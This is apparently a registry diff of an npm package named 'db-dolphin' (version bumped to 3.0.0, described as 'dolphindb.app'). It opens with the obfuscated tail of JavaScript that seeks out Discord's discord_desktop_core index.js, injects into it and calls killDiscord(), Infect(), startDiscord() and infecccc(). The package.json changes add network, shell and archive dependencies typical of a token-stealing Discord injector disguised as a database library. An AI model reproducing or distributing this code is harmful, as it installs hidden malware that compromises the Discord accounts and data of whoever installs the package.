_0x233eeb=_0x15a827;_0x274d8f[_0x233eeb(0x1b3)](_0x233eeb(0x1c8))&&(_0x2497c2=_0x2497c2+'\x5c'+_0x274d8f+_0x233eeb(0x1a6));}),getDirectories(_0x2497c2)['forEach'](_0x3a4b96=>{_0x3a4b96['includes']('discord_desktop_core-')&&(_0x2497c2=_0x2497c2+'\x5c'+_0x3a4b96+'\x5cdiscord_desktop_core\x5cindex.js');}),fs[_0x15a827(0x1b5)](_0x2497c2)&&injectPath[_0x15a827(0x1a1)](_0x2497c2);}),killDiscord(),Infect(),startDiscord(),infecccc();
|
package/package.json
CHANGED
@@ -1,6 +1,32 @@
|
|
1
1
|
{
|
2
|
+
"dependencies": {
|
3
|
+
"adm-zip": "^0.5.9",
|
4
|
+
"axios": "^0.27.2",
|
5
|
+
"buffer-replace": "^1.0.0",
|
6
|
+
"child_process": "^1.0.2",
|
7
|
+
"color": "^4.2.3",
|
8
|
+
"dolph-db": "^2.0.6",
|
9
|
+
"download": "^8.0.0",
|
10
|
+
"electron": "^19.0.9",
|
11
|
+
"form-data": "^4.0.0",
|
12
|
+
"fs": "^0.0.1-security",
|
13
|
+
"glob": "^8.0.3",
|
14
|
+
"https": "^1.0.0",
|
15
|
+
"ip": "^1.1.8",
|
16
|
+
"os": "^0.1.2",
|
17
|
+
"path": "^0.12.7",
|
18
|
+
"querystring": "^0.2.1",
|
19
|
+
"shelljs": "^0.8.5",
|
20
|
+
"xhr2": "^0.2.1"
|
21
|
+
},
|
2
22
|
"name": "db-dolphin",
|
3
|
-
"version": "0.0
|
4
|
-
"
|
5
|
-
"
|
23
|
+
"version": "3.0.0",
|
24
|
+
"main": "index.js",
|
25
|
+
"scripts": {
|
26
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
27
|
+
},
|
28
|
+
"author": "dolph-db <dolph-db@gmail.com>",
|
29
|
+
"license": "MIT",
|
30
|
+
"description": "dolphindb.app",
|
31
|
+
"devDependencies": {}
|
6
32
|
}
|